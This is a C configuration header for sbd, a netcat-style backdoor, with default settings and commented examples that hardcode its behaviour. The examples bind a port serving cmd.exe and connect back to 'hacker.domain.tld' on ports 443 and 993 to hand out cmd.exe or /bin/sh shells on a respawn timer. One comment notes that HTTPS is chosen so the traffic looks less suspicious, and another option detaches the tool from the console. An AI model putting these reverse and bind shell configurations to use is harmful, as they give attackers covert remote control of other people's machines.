/* this file is used to hardcode a behaviour into sbd.
* to use this feature, uncomment one of the examples below,
* or type in your own. when finished, recompile sbd.
*/
/* these are the default values, change to suite your taste */
#define HOST NULL
#define BINDHOST NULL
#define PORT 0
#define SOURCE_PORT 0
#define DOLISTEN 0
#define EXECPROG NULL
#define CONVERT_TO_CRLF 0
#define ENCRYPTION 1
#define SHARED_SECRET "roses are red, violets are blue."
#define RESPAWN_ENABLED 0
#define RESPAWN_INTERVAL 0
#define QUIET 0
#define VERBOSE 0
#define DAEMONIZE 0
/* "chat" options */
#define HIGHLIGHT_INCOMING 0
#define HIGHLIGHT_PREFIX "\x1b[0;32m"
#define HIGHLIGHT_SUFFIX "\x1b[0m"
#define SEPARATOR_BETWEEN_PREFIX_AND_DATA ": "
/* win32 specific options: */
#define RUN_ONLY_ONE_INSTANCE 0
#define INSTANCE_SEMAPHORE "shadowinteger_bd_semaphore"
/* some examples: */
/* listen for incoming connection on port 1234, serve "cmd.exe" to the
* connecting party. when disconnected, sbd will immediately re-bind the port
* and listen for another connection...
*/
/*
#define DOLISTEN 1
#define PORT 1234
#define RESPAWN_ENABLED 1
#define EXECPROG "cmd.exe"
*/
/* connect to hacker.domain.tld on port 443 and serve "cmd.exe". we hardcode
* "something else" into sbd as our aes-128 encryption pass phrase (encryption
* is on per default in sbd). we use port 443 (https) since https traffic is
* encrypted, which means our activity won't be that suspicious. DAEMONIZE 1
* means that we're going to detach from the console (under win32).
*/
/*
#define DOLISTEN 0
#define HOST "hacker.domain.tld"
#define PORT 443
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 1800
#define EXECPROG "cmd.exe"
#define SHARED_SECRET "something else"
#define DAEMONIZE 1
*/
/* connect to hacker.domain.tld on port 993 (imaps) and serve /bin/sh.
* reconnect every 2 hours.
*/
/*
#define DOLISTEN 0
#define HOST "hacker.domain.tld"
#define PORT 993
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 7200
#define EXECPROG "/bin/sh"
*/
syntax highlighted by Code2HTML, v. 0.9.1